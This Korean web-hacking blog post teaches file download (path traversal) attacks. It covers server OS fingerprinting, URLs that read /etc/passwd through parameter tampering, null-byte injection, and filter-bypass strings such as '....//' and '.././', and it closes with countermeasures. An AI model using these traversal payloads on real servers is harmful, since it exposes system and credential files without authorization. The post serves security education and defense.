- 윈도우는 대소문자를 구분하지 않지만, 리눅스는 대소문자를 구분한다. → 서버가 윈도우 기반인지 리눅스 기반인지 알 수 있다. → 대문자를 바꿔도 그대로 다운로드 받아진다면 윈도우 기반
- 또한, jsp나 php일 시 리눅스일 가능성이 높음
- boot.ini 파일 존재시 윈도우 계열(버전에따라 다름), passwd 파일 존재시 Linux 계열
- 상위 폴더 이동 명령어는, 리눅스에서는 ../ 만을 사용하고, 윈도우에서는 ../ 또는 ..₩를 사용한다.
파일 다운로드 공격 기법
① 멀티 파라미터 변조
예시 URL) www. example.com/view.php?file=mango.jpg&file_path=/test |
* /etc/passwd 파일에 접근하기
view.php?file=passwd&file_path=../../../../../../../etc
view.php?file=../../../../../../etc/passwd&file_path=/test
view.php?file=mango.jpg&file_path=../../../../../../../etc/passwd
② 웹 로그를 통한 관리자 권한 획득
* 시스템 파일(passwd, .profile, .cshrc 등)의 접근을 통해서 웹 로그 파일의 위치를 추측할 수 있다.
* 계정과 암호가 GET 메소드를 통해 전송하는 경우, 입력된 모든 정보가 웹 로그에 남게된다.
* 웹 로그에는 접속한 모든 디렉토리 및 페이지 정보도 확인할 수 있으므로 디렉토리 전체를 보는 것과 동일한 공격효과를 가질 수 있다.
파일 다운로드 우회 기법
① NULL 바이트 인젝션
* C언어에서 문자열의 끝은 널(%00) 문자로 나타낸다.
* 특정 확장자를 숨기는데에 사용할 수 있다
예) www.example.com/view.php?file=123.jpg 를
www.example.com/view.php?file=../../../../../../../etc/passwd%00.jpg 널바이트와 .jpg 삽입 시 우회가 가능하다.
② 변조한 파일 경로에 인코딩 적용
③ 경로 문자 필터링 우회
* 먼저 파일이름 중간에 경로 문자를 삽입 요청하여 응답을 확인한다.
예) test.jpg → te/st.jpg
* / 전부 필터링 시,
path = ..₩..₩..₩..₩..₩..₩..₩..₩test.jpg
* ../ 필터링 시(/ 와 ./ 는 필터링 x),
path=....//....//....//....//....//....//....//test.jpg ../가 필터되면서 ....// → ../
* ../는 가능하나, ../../ 부터 사용안될 시,
path=.././.././.././.././.././.././.././test.jpg ./는 아무 의미 없는 경로로 .././../ → ../../로 바뀜
파일 다운로드 취약점 대응 방안
① 다운로드 파일 이름을 데이터베이스에 저장하고 다운로드 수행 시, 요청 파일 이름과 비교하여 적절한지 확인해 사용자가 조작할 수 있는 변수를 제거한다.
② 파일을 다운받을 수 있는 디렉터리를 특정 디렉터리로 제한한다.
③ 다운로드 경로 정보를 자바스크립트나 js 소스에서 확인할 수 없게 제한한다.
④ PHP 사용 시, php.ini에서 magic_quotes_gpc를 On으로 설정해 .₩./ 와 같은 문자 입력 시 치환되도록 설정한다.
⑤ 다운로드 시 사용되는 파라미터 값 대상으로 아래 특수 문자를 필터링하도록 웹 방화벽 룰셋 적용한다.
'Web > Webhacking' 카테고리의 다른 글
크로스사이트 스크립팅 공격 및 우회 기법 (0) | 2022.04.20 |
---|---|
크로스사이트 스크립팅(XSS) (0) | 2022.04.19 |
파일 다운로드(File Download) (0) | 2022.04.13 |
파일 업로드 공격 및 우회 기법 (0) | 2022.04.01 |
파일 업로드(File Upload) (0) | 2022.03.29 |
댓글